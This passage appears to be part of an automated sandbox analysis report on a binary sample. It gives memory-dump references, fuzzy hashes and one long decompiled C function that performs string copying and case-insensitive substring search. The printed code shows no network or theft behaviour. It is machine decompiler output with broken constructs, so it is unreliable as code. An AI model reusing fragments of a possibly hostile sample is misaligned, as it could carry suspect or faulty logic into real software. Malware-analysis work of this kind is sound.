0x6f0021a8
0x6f0021aa
0x6f0021ac
0x6f0021af
0x6f0021b1
0x6f0021b3
0x6f0021b5
0x6f0021b5
0x6f0021b7
0x6f0021b7
0x6f0021b8
0x6f0021bd
0x6f0021c1
0x6f0021c3
0x00000000
0x00000000
0x6f0021c5
0x6f0021c9
0x6f0021cc
0x6f0021ce
0x00000000
0x00000000
0x00000000
0x6f0021ce
0x6f0021b7
0x6f0021b3
0x6f0021d0
0x6f0021d0
0x6f0021d2
0x6f0021d3
0x6f0021d8
0x6f0021d8
0x6f00242e
0x6f00242e
0x6f002431
0x6f002433
0x6f002433
0x6f002187
0x00000000
0x00000000
0x00000000
0x6f002082
0x6f00243a
0x6f00243a
0x6f00243c
0x6f002440
0x6f00244a
0x6f00244e
0x6f00245e
0x00000000

Strings

@, xrefs: 6F001F18

Memory Dump Source

Source File: 00000000.00000002.888568308.000000006EFE1000.00000020.00020000.sdmp, Offset: 6EFE0000, based on PE: true

Associated: 00000000.00000002.888087050.000000006EFE0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.894194867.000000006F015000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.895199607.000000006F01B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.895701456.000000006F01C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 73f22bc3af338c376e1a23e00c2844d1b588c229ff9a55b9cec960deeffedffd
Instruction ID: 580eb5d730eb01ed58d1d4f0ce0d1b292e34651fe8eaf602a637236ee84b1b8d
Opcode Fuzzy Hash: 73f22bc3af338c376e1a23e00c2844d1b588c229ff9a55b9cec960deeffedffd
Instruction Fuzzy Hash: 1D323B71A083929BF701DF38C49036ABBE26FC6304F55876EE8A48B396DB35D941C742

Uniqueness

Uniqueness Score: -1.00%

Function 6F0026B0, Relevance: 1.9, Strings: 1, Instructions: 653
COMMONCrypto

Download Yara Rule

C-Code - Quality: 91%

			E6F0026B0(signed int __ecx, void* __eflags, signed int* _a4, char _a8) {
				signed int _v28;
				signed int _v32;
				signed int _v36;
				void _v40;
				intOrPtr _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				char* _t183;
				signed int _t184;
				signed int* _t190;
				signed int _t194;
				signed int* _t195;
				signed int _t200;
				signed int _t204;
				void* _t206;
				signed int _t209;
				signed int _t212;
				signed int _t217;
				signed int* _t219;
				signed int _t220;
				signed int _t222;
				signed int _t223;
				signed int _t224;
				signed int _t225;
				signed int _t227;
				signed int _t228;
				signed int _t231;
				signed int _t232;
				signed int _t235;
				char _t236;
				signed int _t240;
				void* _t241;
				void* _t242;
				unsigned int _t247;
				signed int _t249;
				signed int _t250;
				signed int _t252;
				signed int _t254;
				signed int _t255;
				signed int _t257;
				signed int _t258;
				signed int _t259;
				char _t260;
				char _t261;
				signed int _t262;
				signed int _t263;
				signed int _t266;
				signed int _t272;
				signed int _t273;
				signed int _t275;
				signed int _t277;
				signed int _t279;
				signed int _t280;
				void* _t281;
				signed int _t282;
				signed int _t283;
				signed int _t284;
				void* _t285;
				signed int _t289;
				void* _t290;
				signed int _t291;
				signed int _t292;
				signed int _t293;
				intOrPtr* _t295;
				void* _t296;
				signed int _t297;
				intOrPtr* _t298;
				signed int _t299;
				signed int _t300;
				void* _t303;
				signed int _t305;
				char _t306;
				signed int _t308;
				signed int _t309;
				signed int _t310;
				signed int _t317;
				signed int _t318;
				signed int _t319;
				signed int _t320;
				signed int _t329;
				char _t331;
				char _t332;
				char _t333;
				signed int _t335;
				unsigned int _t340;
				signed int _t342;
				intOrPtr _t344;
				intOrPtr _t346;
				signed int _t347;
				signed int _t356;
				signed int _t358;
				signed int _t359;
				signed int _t361;
				signed int _t363;
				signed int _t368;
				signed int _t369;
				signed int _t370;
				signed int _t373;
				intOrPtr* _t376;
				signed int _t377;
				signed int _t383;
				signed int _t384;
				void* _t387;

				_v52 = 0;
				_t231 = __ecx;
				_v48 = 0;
				_push(0x40);
				_t335 = E6EFF1030();
				_t387 = (_t384 & 0xfffffff0) - 0x34 + 4;
				_t183 = _v52;
				if(_t183 == 0) {
					 *_t335 = 0;
					L8:
					_t184 = _a8;
					_v48 = 0x40;
					_v52 = _t335;
					if(_t184 != 0) {
						__eflags = _t335;
						if(_t335 == 0) {
							_t257 = 0x40;
							_t361 = 0;
							L22:
							_t20 = _t361 + 2; // 0x80000001
							_t290 = _t20;
							__eflags = _t290 - 0x40;
							_t291 =  <=  ? 0x40 : _t290;
							__eflags = _t257 - _t291;
							if(_t257 < _t291) {
								_t340 = (_t291 >> 5 >> 0x1a) + _t291 >> 6;
								_t292 = _t291 & 0x8000003f;
								__eflags = _t292;
								if(_t292 < 0) {
									_t292 = (_t292 - 0x00000001 | 0xffffffc0) + 1;
									__eflags = _t292;
								}
								__eflags = _t292;
								_t342 = _t340 + (0 | _t292 > 0x00000000) << 6;
								_push(_t342);
								_t258 = E6EFF1030();
								_t387 = _t387 + 4;
								_t293 = _v52;
								__eflags = _t293;
								if(_t293 == 0) {
									 *_t258 = 0;
									goto L35;
								} else {
									__eflags = _t258;
									if(_t258 == 0) {
										L33:
										_push(1);
										_push(_t293);
										_v68 = _t258;
										E6EFF10B0();
										_t258 = _v68;
										_t387 = _t387 + 8;
										L35:
										_v48 = _t342;
										_v52 = _t258;
										L36:
										 *((char*)(_t258 + _t361)) = _a8;
										_t190 =  &_v52;
										 *((char*)(_t361 +  *_t190 + 1)) = 0;
										L37:
										_t259 =  *_t190;
										if(_t259 == 0) {
											L39:
											_t295 = _a4;
											_push(0x40);
											 *_t295 = 0;
											 *((intOrPtr*)(_t295 + 4)) = 0;
											_t232 = E6EFF1030();
											_t387 = _t387 + 4;
											_t194 =  *_a4;
											if(_t194 == 0) {
												 *_t232 = 0;
												L60:
												_t195 = _a4;
												 *_t195 = _t232;
												_t195[1] = 0x40;
												L61:
												_push(1);
												_push(_v52);
												E6EFF10B0();
												_v52 = 0;
												_v48 = 0;
												return _a4;
											}
											if(_t232 == 0) {
												L45:
												_push(1);
												_push(_t194);
												E6EFF10B0();
												_t387 = _t387 + 8;
												goto L60;
											}
											_t296 =  *_t194;
											 *_t232 = _t296;
											if(_t296 == 0) {
												goto L45;
											}
											_t297 = 0;
											while(1) {
												_t297 = _t297 + 1;
												_t260 =  *((char*)(_t194 + _t297 * 2 - 1));
												 *((char*)(_t232 + _t297 * 2 - 1)) = _t260;
												if(_t260 == 0) {
													goto L45;
												}
												_t261 =  *((char*)(_t194 + _t297 * 2));
												 *((char*)(_t232 + _t297 * 2)) = _t261;
												if(_t261 != 0) {
													continue;
												}
												goto L45;
											}
											goto L45;
										}
										_t344 =  *_t259;
										if(_t344 != 0) {
											_t200 =  *_t231;
											__eflags = _t200;
											if(_t200 == 0) {
												L52:
												_t298 = _a4;
												_push(0x40);
												 *_t298 = 0;
												 *((intOrPtr*)(_t298 + 4)) = 0;
												_t232 = E6EFF1030();
												_t387 = _t387 + 4;
												_t204 =  *_a4;
												__eflags = _t204;
												if(_t204 == 0) {
													 *_t232 = 0;
													goto L60;
												}
												__eflags = _t232;
												if(_t232 == 0) {
													L58:
													_push(1);
													_push(_t204);
													E6EFF10B0();
													_t387 = _t387 + 8;
													goto L60;
												}
												_t299 =  *_t204;
												 *_t232 = _t299;
												__eflags = _t299;
												if(_t299 == 0) {
													goto L58;
												}
												_t300 = 0;
												__eflags = 0;
												while(1) {
													_t300 = _t300 + 1;
													_t262 =  *((char*)(_t204 + _t300 * 2 - 1));
													 *(_t232 + _t300 * 2 - 1) = _t262;
													__eflags = _t262;
													if(_t262 == 0) {
														goto L58;
													}
													_t263 =  *((char*)(_t204 + _t300 * 2));
													 *(_t232 + _t300 * 2) = _t263;
													__eflags = _t263;
													if(_t263 != 0) {
														continue;
													}
													goto L58;
												}
												goto L58;
											}
											__eflags =  *_t200;
											if( *_t200 == 0) {
												goto L52;
											}
											_v44 = _t344;
											_t62 = _t344 - 0x41; // 0x7fffffc0
											_t363 = _t62;
											__eflags = _t363 - 0x19;
											_t63 = _t344 + 0x20; // 0x80000021
											_v64 = _t363;
											_t302 =  >  ? _t344 : _t63;
											_t234 =  >  ? _t344 : _t63;
											_t303 = 0;
											__eflags = 0;
											_v68 =  >  ? _t344 : _t63;
											_v32 = _t259;
											_t235 = _t200;
											while(1) {
												_t264 =  *_t235;
												_t66 = _t264 - 0x41; // -65
												__eflags = _t66 - 0x19;
												_t67 = _t264 + 0x20; // 0x20
												_t265 =  <=  ? _t67 :  *_t235;
												__eflags = ( <=  ? _t67 :  *_t235) - _v68;
												if(( <=  ? _t67 :  *_t235) == _v68) {
													break;
												}
												_t303 = _t303 + 1;
												_t235 = _t235 + 1;
												__eflags =  *((char*)(_t303 + _t200));
												if( *((char*)(_t303 + _t200)) != 0) {
													continue;
												}
												goto L52;
											}
											_t346 = _v44;
											_t266 = _v32;
											__eflags = _t235;
											if(_t235 == 0) {
												goto L52;
											}
											_t305 = _t266 & 0x0000000f;
											_v40 = _t346 + 0x20;
											asm("pxor xmm0, xmm0");
											_v36 = _t200;
											_t368 =  ~_t305 + 0x10;
											__eflags = _t368;
											_v44 = _t346;
											_v32 = _t266;
											do {
												_t347 = _t305;
												__eflags = _t305;
												if(_t305 == 0) {
													L69:
													_v28 = _t368;
													_t272 =  ~( ~_t347 + 0x0000000f & 0x0000000f) + 0x7fffffff;
													__eflags = _t272;
													_t369 = _v32;
													while(1) {
														asm("movdqu xmm1, [esi+edi]");
														asm("pcmpeqb xmm1, xmm0");
														asm("pmovmskb eax, xmm1");
														__eflags = _t200;
														if(_t200 != 0) {
															break;
														}
														_t347 = _t347 + 0x10;
														__eflags = _t347 - _t272;
														if(_t347 < _t272) {
															continue;
														}
														_v32 = _t369;
														_t370 = _v28;
														__eflags = _t272 - 0x7fffffff;
														if(_t272 >= 0x7fffffff) {
															L77:
															_t272 = 0x7fffffff;
															L78:
															_v56 = _t272;
															_t206 = 0;
															__eflags = 0;
															_v60 = _t305;
															_v28 = _t370;
															_t273 = _v32;
															while(1) {
																_t306 =  *((char*)(_t206 + _t235));
																_v68 = _t235;
																_t236 =  *((char*)(_t206 + _t273));
																__eflags = _t306 - 0x61 - 0x19;
																_t307 =  <=  ? _t306 - 0x20 : _t306;
																__eflags = _t236 - 0x61 - 0x19;
																_t308 =  <=  ? _t306 - 0x20 : _t306;
																_t237 =  <=  ? _t236 - 0x20 : _t236;
																_t238 =  <=  ? _t236 - 0x20 : _t236;
																__eflags = _t308 - ( <=  ? _t236 - 0x20 : _t236);
																_t235 = _v68;
																if(__eflags < 0 || __eflags > 0) {
																	break;
																}
																__eflags = _t308;
																if(_t308 == 0) {
																	L83:
																	_t209 = _v36;
																	_t305 = _v60;
																	_t368 = _v28;
																	L84:
																	__eflags = _t235;
																	if(_t235 == 0) {
																		goto L52;
																	}
																	__eflags = _t305;
																	if(_t305 == 0) {
																		L89:
																		_t356 =  ~( ~_t305 + 0x0000000f & 0x0000000f) + 0x7fffffff;
																		__eflags = _t356;
																		while(1) {
																			asm("movdqu xmm1, [ecx+edx]");
																			asm("pcmpeqb xmm1, xmm0");
																			asm("pmovmskb esi, xmm1");
																			__eflags = _t368;
																			if(_t368 != 0) {
																				break;
																			}
																			_t305 = _t305 + 0x10;
																			__eflags = _t305 - _t356;
																			if(_t305 < _t356) {
																				continue;
																			}
																			__eflags = _t356 - 0x7fffffff;
																			if(_t356 >= 0x7fffffff) {
																				L95:
																				_t356 = 0x7fffffff;
																				L96:
																				_t277 = _t209 & 0x0000000f;
																				__eflags = _t277;
																				if(_t277 == 0) {
																					L100:
																					_t317 =  ~( ~_t277 + 0x0000000f & 0x0000000f) + 0x7fffffff;
																					__eflags = _t317;
																					while(1) {
																						asm("movdqu xmm1, [eax+ecx]");
																						asm("pcmpeqb xmm1, xmm0");
																						asm("pmovmskb esi, xmm1");
																						__eflags = _t368;
																						if(_t368 != 0) {
																							break;
																						}
																						_t277 = _t277 + 0x10;
																						__eflags = _t277 - _t317;
																						if(_t277 < _t317) {
																							continue;
																						}
																						__eflags = _t317 - 0x7fffffff;
																						if(_t317 >= 0x7fffffff) {
																							L106:
																							_t317 = 0x7fffffff;
																							L107:
																							_t240 = _t235 - _t209 + _t356;
																							__eflags = _t240;
																							_t376 = _a4;
																							_t241 =  <=  ? 0 : _t240;
																							__eflags = _t317 - _t241;
																							 *_t376 = 0;
																							_t242 =  <  ? _t317 : _t241;
																							_t318 = _t317 - _t242;
																							 *((intOrPtr*)(_t376 + 4)) = 0;
																							_t358 = _t209 + _t242;
																							__eflags = _t358;
																							_v64 = _t358;
																							if(_t358 == 0) {
																								L142:
																								_push(0x40);
																								_t232 = E6EFF1030();
																								_t387 = _t387 + 4;
																								_t212 =  *_a4;
																								__eflags = _t212;
																								if(_t212 == 0) {
																									 *_t232 = 0;
																									goto L60;
																								}
																								__eflags = _t232;
																								if(_t232 == 0) {
																									L148:
																									_push(1);
																									_push(_t212);
																									E6EFF10B0();
																									_t387 = _t387 + 8;
																									goto L60;
																								}
																								_t319 =  *_t212;
																								 *_t232 = _t319;
																								__eflags = _t319;
																								if(_t319 == 0) {
																									goto L148;
																								}
																								_t320 = 0;
																								__eflags = 0;
																								while(1) {
																									_t320 = _t320 + 1;
																									_t279 =  *((char*)(_t212 + _t320 * 2 - 1));
																									 *(_t232 + _t320 * 2 - 1) = _t279;
																									__eflags = _t279;
																									if(_t279 == 0) {
																										goto L148;
																									}
																									_t280 =  *((char*)(_t212 + _t320 * 2));
																									 *(_t232 + _t320 * 2) = _t280;
																									__eflags = _t280;
																									if(_t280 != 0) {
																										continue;
																									}
																									goto L148;
																								}
																								goto L148;
																							}
																							__eflags =  *(_t209 + _t242);
																							if( *(_t209 + _t242) == 0) {
																								goto L142;
																							}
																							__eflags = _t318;
																							if(_t318 != 0) {
																								L121:
																								_t129 = _t318 + 1; // 0x80000000
																								_t281 = _t129;
																								__eflags = _t281 - 0x40;
																								_t282 =  <=  ? 0x40 : _t281;
																								__eflags = _t282;
																								if(_t282 > 0) {
																									_t247 = (_t282 >> 5 >> 0x1a) + _t282 >> 6;
																									_t283 = _t282 & 0x8000003f;
																									__eflags = _t283;
																									if(_t283 < 0) {
																										_t283 = (_t283 - 0x00000001 | 0xffffffc0) + 1;
																										__eflags = _t283;
																									}
																									__eflags = _t283;
																									_t249 = _t247 + (0 | _t283 > 0x00000000) << 6;
																									_push(_t249);
																									_v68 = _t318;
																									_t217 = E6EFF1030();
																									_t318 = _v68;
																									_t377 = _t217;
																									_t387 = _t387 + 4;
																									_t284 =  *_a4;
																									__eflags = _t284;
																									if(_t284 == 0) {
																										 *_t377 = 0;
																										goto L134;
																									} else {
																										__eflags = _t377;
																										if(_t377 == 0) {
																											L132:
																											_push(1);
																											_push(_t284);
																											_v68 = _t318;
																											E6EFF10B0();
																											_t318 = _v68;
																											_t387 = _t387 + 8;
																											L134:
																											_t219 = _a4;
																											_t219[1] = _t249;
																											 *_t219 = _t377;
																											L135:
																											__eflags = _t377;
																											if(_t377 == 0) {
																												goto L61;
																											}
																											_t250 = _v64;
																											_t285 = 0;
																											while(1) {
																												_t220 =  *_t250;
																												_t285 = _t285 + 1;
																												 *_t377 = _t220;
																												__eflags = _t318;
																												if(_t318 == 0) {
																													goto L140;
																												}
																												__eflags = _t285 - _t318;
																												if(_t285 == _t318) {
																													 *(_t377 + 1) = 0;
																													goto L61;
																												}
																												L140:
																												__eflags = _t220;
																												if(_t220 == 0) {
																													goto L61;
																												}
																												_t377 = _t377 + 1;
																												_t250 = _t250 + 1;
																												__eflags = _t250;
																											}
																										}
																										_t222 =  *_t284;
																										 *_t377 = _t222;
																										__eflags = _t222;
																										if(_t222 == 0) {
																											goto L132;
																										}
																										_v68 = _t318;
																										_t359 = 0;
																										__eflags = 0;
																										while(1) {
																											_t359 = _t359 + 1;
																											_t223 =  *((char*)(_t284 + _t359 * 2 - 1));
																											 *(_t377 + _t359 * 2 - 1) = _t223;
																											__eflags = _t223;
																											if(_t223 == 0) {
																												break;
																											}
																											_t224 =  *((char*)(_t284 + _t359 * 2));
																											 *(_t377 + _t359 * 2) = _t224;
																											__eflags = _t224;
																											if(_t224 != 0) {
																												continue;
																											}
																											break;
																										}
																										_t318 = _v68;
																										goto L132;
																									}
																								}
																								_t377 = 0;
																								goto L135;
																							}
																							_t225 = _t209 + _t242;
																							_t252 = _t225 & 0x0000000f;
																							__eflags = _t252;
																							if(_t252 == 0) {
																								L114:
																								_t318 =  ~( ~_t252 + 0x0000000f & 0x0000000f) + 0x7fffffff;
																								__eflags = _t318;
																								while(1) {
																									asm("movdqu xmm1, [eax+ebx]");
																									asm("pcmpeqb xmm1, xmm0");
																									asm("pmovmskb ecx, xmm1");
																									__eflags = 0;
																									if(0 != 0) {
																										break;
																									}
																									_t252 = _t252 + 0x10;
																									__eflags = _t252 - _t318;
																									if(_t252 < _t318) {
																										continue;
																									}
																									__eflags = _t318 - 0x7fffffff;
																									if(_t318 >= 0x7fffffff) {
																										L120:
																										_t318 = 0x7fffffff;
																										goto L121;
																									} else {
																										goto L118;
																									}
																									while(1) {
																										L118:
																										__eflags =  *((char*)(_t318 + _t225));
																										if( *((char*)(_t318 + _t225)) == 0) {
																											goto L121;
																										}
																										_t318 = _t318 + 1;
																										__eflags = _t318 - 0x7fffffff;
																										if(_t318 < 0x7fffffff) {
																											continue;
																										}
																										goto L120;
																									}
																									goto L121;
																								}
																								asm("bsf edx, ecx");
																								_t318 = _t318 + _t252;
																								goto L121;
																							}
																							_t318 = 0;
																							_t252 =  ~_t252 + 0x10;
																							__eflags = _t252;
																							while(1) {
																								__eflags =  *((char*)(_t318 + _t225));
																								if( *((char*)(_t318 + _t225)) == 0) {
																									goto L121;
																								}
																								_t318 = _t318 + 1;
																								__eflags = _t318 - _t252;
																								if(_t318 < _t252) {
																									continue;
																								}
																								goto L114;
																							}
																							goto L121;
																						} else {
																							goto L104;
																						}
																						while(1) {
																							L104:
																							__eflags =  *((char*)(_t317 + _t209));
																							if( *((char*)(_t317 + _t209)) == 0) {
																								goto L107;
																							}
																							_t317 = _t317 + 1;
																							__eflags = _t317 - 0x7fffffff;
																							if(_t317 < 0x7fffffff) {
																								continue;
																							}
																							goto L106;
																						}
																						goto L107;
																					}
																					asm("bsf edx, esi");
																					_t317 = _t317 + _t277;
																					goto L107;
																				}
																				_t317 = 0;
																				_t277 =  ~_t277 + 0x10;
																				__eflags = _t277;
																				while(1) {
																					__eflags =  *((char*)(_t317 + _t209));
																					if( *((char*)(_t317 + _t209)) == 0) {
																						goto L107;
																					}
																					_t317 = _t317 + 1;
																					__eflags = _t317 - _t277;
																					if(_t317 < _t277) {
																						continue;
																					}
																					goto L100;
																				}
																				goto L107;
																			} else {
																				goto L93;
																			}
																			while(1) {
																				L93:
																				__eflags =  *((char*)(_t356 + _t273));
																				if( *((char*)(_t356 + _t273)) == 0) {
																					goto L96;
																				}
																				_t356 = _t356 + 1;
																				__eflags = _t356 - 0x7fffffff;
																				if(_t356 < 0x7fffffff) {
																					continue;
																				}
																				goto L95;
																			}
																			goto L96;
																		}
																		asm("bsf edi, esi");
																		_t356 = _t356 + _t305;
																		goto L96;
																	}
																	_t305 = _t368;
																	_t356 = 0;
																	__eflags = 0;
																	while(1) {
																		__eflags =  *((char*)(_t356 + _t273));
																		if( *((char*)(_t356 + _t273)) == 0) {
																			goto L96;
																		}
																		_t356 = _t356 + 1;
																		__eflags = _t356 - _t368;
																		if(_t356 < _t368) {
																			continue;
																		}
																		goto L89;
																	}
																	goto L96;
																}
																_t206 = _t206 + 1;
																__eflags = _t206 - _v56;
																if(_t206 < _v56) {
																	continue;
																}
																goto L83;
															}
															_v32 = _t273;
															_t309 = _v60;
															_t373 = _v28;
															_t275 = _t235 + 1;
															__eflags = _t275;
															if(_t275 == 0) {
																goto L52;
															}
															__eflags = _v64 - 0x19;
															_t208 =  <=  ? _v40 : _v44;
															_t200 =  <=  ? _v40 : _v44;
															__eflags =  *(_t235 + 1);
															if( *(_t235 + 1) == 0) {
																goto L52;
															}
															_v60 = _t309;
															_v28 = _t373;
															while(1) {
																_t235 = _t235 + 1;
																_t275 = _t275 + 1;
																_t310 =  *_t235 & 0x000000ff;
																__eflags =  *((char*)(_t275 - 1)) + 0xffffffbf - 0x19;
																_t311 =  <=  ? _t310 + 0x20 : _t310;
																__eflags = ( <=  ? _t310 + 0x20 : _t310) - _t200;
																if(( <=  ? _t310 + 0x20 : _t310) == _t200) {
																	goto L165;
																}
																__eflags =  *_t275;
																if( *_t275 != 0) {
																	continue;
																}
																goto L52;
															}
															goto L165;
														}
														_t200 = _v32;
														while(1) {
															__eflags =  *((char*)(_t272 + _t200));
															if( *((char*)(_t272 + _t200)) == 0) {
																break;
															}
															_t272 = _t272 + 1;
															__eflags = _t272 - 0x7fffffff;
															if(_t272 < 0x7fffffff) {
																continue;
															}
															_v32 = _t200;
															goto L77;
														}
														L160:
														_v32 = _t200;
														L161:
														__eflags = _t272;
														if(__eflags == 0) {
															goto L77;
														}
														if(__eflags > 0) {
															goto L78;
														}
														_t209 = _v36;
														_t273 = _v32;
														goto L84;
													}
													asm("bsf ecx, eax");
													_v32 = _t369;
													_t272 = _t272 + _t347;
													_t370 = _v28;
													goto L161;
												}
												_t200 = _v32;
												_t347 = _t368;
												_t272 = 0;
												__eflags = 0;
												while(1) {
													__eflags =  *((char*)(_t272 + _t200));
													if( *((char*)(_t272 + _t200)) == 0) {
														goto L160;
													}
													_t272 = _t272 + 1;
													__eflags = _t272 - _t368;
													if(_t272 < _t368) {
														continue;
													}
													_v32 = _t200;
													goto L69;
												}
												goto L160;
												L165:
												_t305 = _v60;
												_t368 = _v28;
												__eflags = _t235;
											} while (_t235 != 0);
											goto L52;
										}
										goto L39;
									}
									_t227 =  *_t293;
									 *_t258 = _t227;
									__eflags = _t227;
									if(_t227 == 0) {
										goto L33;
									}
									_v60 = _t342;
									_t228 = 0;
									__eflags = 0;
									_v64 = _t361;
									_v68 = _t231;
									while(1) {
										_t228 = _t228 + 1;
										_t254 =  *((char*)(_t293 + _t228 * 2 - 1));
										 *(_t258 + _t228 * 2 - 1) = _t254;
										__eflags = _t254;
										if(_t254 == 0) {
											break;
										}
										_t255 =  *((char*)(_t293 + _t228 * 2));
										 *(_t258 + _t228 * 2) = _t255;
										__eflags = _t255;
										if(_t255 != 0) {
											continue;
										}
										break;
									}
									_t342 = _v60;
									_t361 = _v64;
									_t231 = _v68;
									goto L33;
								}
							}
							_t258 = _v52;
							goto L36;
						}
						_t329 = _t335 & 0x0000000f;
						__eflags = _t329;
						if(_t329 == 0) {
							L15:
							asm("pxor xmm0, xmm0");
							_t383 =  ~( ~_t329 + 0x0000000f & 0x0000000f) + 0x7fffffff;
							__eflags = _t383;
							while(1) {
								asm("movdqu xmm1, [edi+edx]");
								asm("pcmpeqb xmm1, xmm0");
								asm("pmovmskb eax, xmm1");
								__eflags = _t184;
								if(_t184 != 0) {
									break;
								}
								_t329 = _t329 + 0x10;
								__eflags = _t329 - _t383;
								if(_t329 < _t383) {
									continue;
								}
								__eflags = _t383 - 0x7fffffff;
								if(_t383 >= 0x7fffffff) {
									L21:
									_t257 = 0x40;
									_t361 = 0x7fffffff;
									goto L22;
								} else {
									goto L19;
								}
								while(1) {
									L19:
									__eflags =  *((char*)(_t383 + _t335));
									if( *((char*)(_t383 + _t335)) == 0) {
										break;
									}
									_t383 = _t383 + 1;
									__eflags = _t383 - 0x7fffffff;
									if(_t383 < 0x7fffffff) {
										continue;
									}
									goto L21;
								}
								L167:
								__eflags = _t361 - 0xfffffffe;
								if(_t361 != 0xfffffffe) {
									_t257 = 0x40;
								} else {
									 *_t335 = 0;
									_t257 = _v48;
								}
								goto L22;
							}
							asm("bsf esi, eax");
							_t361 = _t383 + _t329;
							goto L167;
						}
						_t361 = 0;
						_t329 =  ~_t329 + 0x10;
						__eflags = _t329;
						while(1) {
							__eflags =  *((char*)(_t361 + _t335));
							if( *((char*)(_t361 + _t335)) == 0) {
								goto L167;
							}
							_t361 = _t361 + 1;
							__eflags = _t361 - _t329;
							if(_t361 < _t329) {
								continue;
							}
							goto L15;
						}
						goto L167;
					}
					_t190 =  &_v52;
					goto L37;
				}
				if(_t335 == 0) {
					L6:
					_push(1);
					_push(_t183);
					E6EFF10B0();
					_t387 = _t387 + 8;
					goto L8;
				}
				_t331 =  *_t183;
				 *_t335 = _t331;
				if(_t331 == 0) {
					goto L6;
				}
				_t289 = 0;
				while(1) {
					_t289 = _t289 + 1;
					_t332 =  *((char*)(_t183 + _t289 * 2 - 1));
					 *((char*)(_t335 + _t289 * 2 - 1)) = _t332;
					if(_t332 == 0) {
						goto L6;
					}
					_t333 =  *((char*)(_t183 + _t289 * 2));
					 *((char*)(_t335 + _t289 * 2)) = _t333;
					if(_t333 != 0) {
						continue;
					}
					goto L6;
				}
				goto L6;
			}

0x6f0026be
0x6f0026c2
0x6f0026c4
0x6f0026c8
0x6f0026cf
0x6f0026d1
0x6f0026d4
0x6f0026da
0x6f002711
0x6f002714
0x6f002714
0x6f002718
0x6f002720
0x6f002726
0x6f002731
0x6f002733
0x6f002e47
0x6f002e4c
0x6f0027ad
0x6f0027b2
0x6f0027b2
0x6f0027b5
0x6f0027b8
0x6f0027bb
0x6f0027bd
0x6f0027d2
0x6f0027d5
0x6f0027d5
0x6f0027db
0x6f0027e3
0x6f0027e3
0x6f0027e3
0x6f0027e6
0x6f0027ed
0x6f0027f0
0x6f0027f6
0x6f0027f8
0x6f0027fb
0x6f0027ff
0x6f002801
0x6f002856
0x00000000
0x6f002803
0x6f002803
0x6f002805
0x6f002841
0x6f002841
0x6f002843
0x6f002844
0x6f002848
0x6f00284d
0x6f002851
0x6f002859
0x6f002859
0x6f00285d
0x6f002861
0x6f002865
0x6f002868
0x6f00286e
0x6f002873
0x6f002873
0x6f002877
0x6f002880
0x6f002880
0x6f002885
0x6f002887
0x6f002889
0x6f002891
0x6f002893
0x6f002899
0x6f00289d
0x6f0028d7
0x6f002983
0x6f002983
0x6f002986
0x6f002988
0x6f00298f
0x6f00298f
0x6f002991
0x6f002995
0x6f00299f
0x6f0029a3
0x6f0029b3
0x6f0029b3
0x6f0028a1
0x6f0028c7
0x6f0028c7
0x6f0028c9
0x6f0028ca
0x6f0028cf
0x00000000
0x6f0028cf
0x6f0028a3
0x6f0028a6
0x6f0028aa
0x00000000
0x00000000
0x6f0028ac
0x6f0028ae
0x6f0028ae
0x6f0028af
0x6f0028b4
0x6f0028ba
0x00000000
0x00000000
0x6f0028bc
0x6f0028c0
0x6f0028c5
0x00000000
0x00000000
0x00000000
0x6f0028c5
0x00000000
0x6f0028ae
0x6f002879
0x6f00287e
0x6f0028df
0x6f0028e1
0x6f0028e3
0x6f00292c
0x6f00292c
0x6f002931
0x6f002933
0x6f002935
0x6f00293d
0x6f00293f
0x6f002945
0x6f002947
0x6f002949
0x6f002980
0x00000000
0x6f002980
0x6f00294b
0x6f00294d
0x6f002973
0x6f002973
0x6f002975
0x6f002976
0x6f00297b
0x00000000
0x6f00297b
0x6f00294f
0x6f002952
0x6f002954
0x6f002956
0x00000000
0x00000000
0x6f002958
0x6f002958
0x6f00295a
0x6f00295a
0x6f00295b
0x6f002960
0x6f002964
0x6f002966
0x00000000
0x00000000
0x6f002968
0x6f00296c
0x6f00296f
0x6f002971
0x00000000
0x00000000
0x00000000
0x6f002971
0x00000000
0x6f00295a
0x6f0028e5
0x6f0028e8
0x00000000
0x00000000
0x6f0028ea
0x6f0028ee
0x6f0028ee
0x6f0028f1
0x6f0028f4
0x6f0028f7
0x6f0028fb
0x6f0028fe
0x6f002901
0x6f002901
0x6f002903
0x6f002906
0x6f00290a
0x6f00290c
0x6f00290c
0x6f00290f
0x6f002912
0x6f002915
0x6f002918
0x6f00291b
0x6f00291e
0x00000000
0x00000000
0x6f002924
0x6f002925
0x6f002926
0x6f00292a
0x00000000
0x00000000
0x00000000
0x6f00292a
0x6f0029b6
0x6f0029ba
0x6f0029be
0x6f0029c0
0x00000000
0x00000000
0x6f0029cb
0x6f0029ce
0x6f0029d6
0x6f0029da
0x6f0029de
0x6f0029de
0x6f0029e1
0x6f0029e5
0x6f0029e9
0x6f0029e9
0x6f0029eb
0x6f0029ed
0x6f002a0a
0x6f002a16
0x6f002a1a
0x6f002a1a
0x6f002a20
0x6f002a24
0x6f002a24
0x6f002a29
0x6f002a2d
0x6f002a31
0x6f002a33
0x00000000
0x00000000
0x6f002a39
0x6f002a3c
0x6f002a3e
0x00000000
0x00000000
0x6f002a40
0x6f002a44
0x6f002a48
0x6f002a4e
0x6f002a6b
0x6f002a6b
0x6f002a70
0x6f002a70
0x6f002a74
0x6f002a74
0x6f002a76
0x6f002a7a
0x6f002a7e
0x6f002a82
0x6f002a82
0x6f002a86
0x6f002a89
0x6f002a90
0x6f002a99
0x6f002a9c
0x6f002a9f
0x6f002aa5
0x6f002aa8
0x6f002aab
0x6f002aad
0x6f002ab0
0x00000000
0x00000000
0x6f002abc
0x6f002abe
0x6f002ac7
0x6f002ac7
0x6f002acb
0x6f002acf
0x6f002ad3
0x6f002ad3
0x6f002ad5
0x00000000
0x00000000
0x6f002adb
0x6f002add
0x6f002aee
0x6f002afa
0x6f002afa
0x6f002b00
0x6f002b00
0x6f002b05
0x6f002b09
0x6f002b0d
0x6f002b0f
0x00000000
0x00000000
0x6f002b15
0x6f002b18
0x6f002b1a
0x00000000
0x00000000
0x6f002b1c
0x6f002b22
0x6f002b33
0x6f002b33
0x6f002b38
0x6f002b3a
0x6f002b3a
0x6f002b3d
0x6f002b51
0x6f002b5d
0x6f002b5d
0x6f002b63
0x6f002b63
